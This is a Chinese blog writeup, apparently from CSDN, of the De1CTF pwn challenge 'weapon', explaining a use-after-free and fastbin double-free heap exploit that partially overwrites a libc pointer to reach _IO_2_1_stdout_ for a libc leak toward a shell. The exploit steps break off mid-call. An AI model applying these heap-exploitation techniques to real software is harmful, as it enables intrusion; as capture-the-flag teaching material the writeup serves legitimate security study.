De1ctf收获:用_IO_2_1_stdout_泄露libc地址 weapon的writeup

本文详细解析了De1ctf比赛中通过_IO_2_1_stdout_泄露libc地址的攻击过程,涉及create、delete和rename操作的漏洞分析,以及利用fastbin链表和double free漏洞实现getshell的完整exploit步骤。
摘要由CSDN通过智能技术生成

GitHub

例行公事


可以看出保护全开


进行分析

可以发现程序功能很简单

  1. create
  2. delete
  3. rename
create

限定大小最大只能是0x60
在这里插入图片描述
index只能是0-9但是是自个输入的

存在一个结构,struct[0] = size,struct[1] = ptr

readn函数没有用\x00截断

delete

中间index的判断有问题,且存在uaf

rename

根据之前存储的size和ptr进行读取


利用方法
  1. 申请多个块,且在块中构造块
	create(0x10,0,p64(0)+p64(0x41))
	create(0x60,1,'a'*0x20+p64(0)+p64(0x41))
	create(0x30,2,'a')
	create(0x30,3,'a')
	create(0x30,4,'a')
  1. 因为要利用uaf漏洞,所以要让块进入fastbin链表,且0x60的块也必须进入fastbin链表,为了之后的利用
	delete(1)
	delete(2)
	delete(3)
  1. 利用idx为3的块的指针,分配块到我们构造的假块上,修改idx为1的块的size,再次将其free,这时候idx为1的块在fastbin的0x60的链表中,同时也在unsorted bin的链表中,因此其fd与bk都存放着libc的地址
	rename(3,'\x10')
	create(0x30,3,'a')
	create(0x30,2,p64(0))
	rename(2,p64(0)+p64(0xb1))
	delete(1)	#为了让这一步顺利,要绕过prev_inuse(nextchunk) == 1,所以块的大小要构造好
  1. 再把块的size改回来,同时将libc地址的最低两字节覆盖成_IO_2_1_stdout_附近的地址,该地址存在一个size为0x7f的块,同时该块的data与足以覆盖我们想要覆盖的结构
	rename(2,p64(0)+p64(0x71))
	rename(1,'\xdd\xa5')	#因为只有低三位是确定的,这一步需要运气,成功的机率为1/16
	create(0x60
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值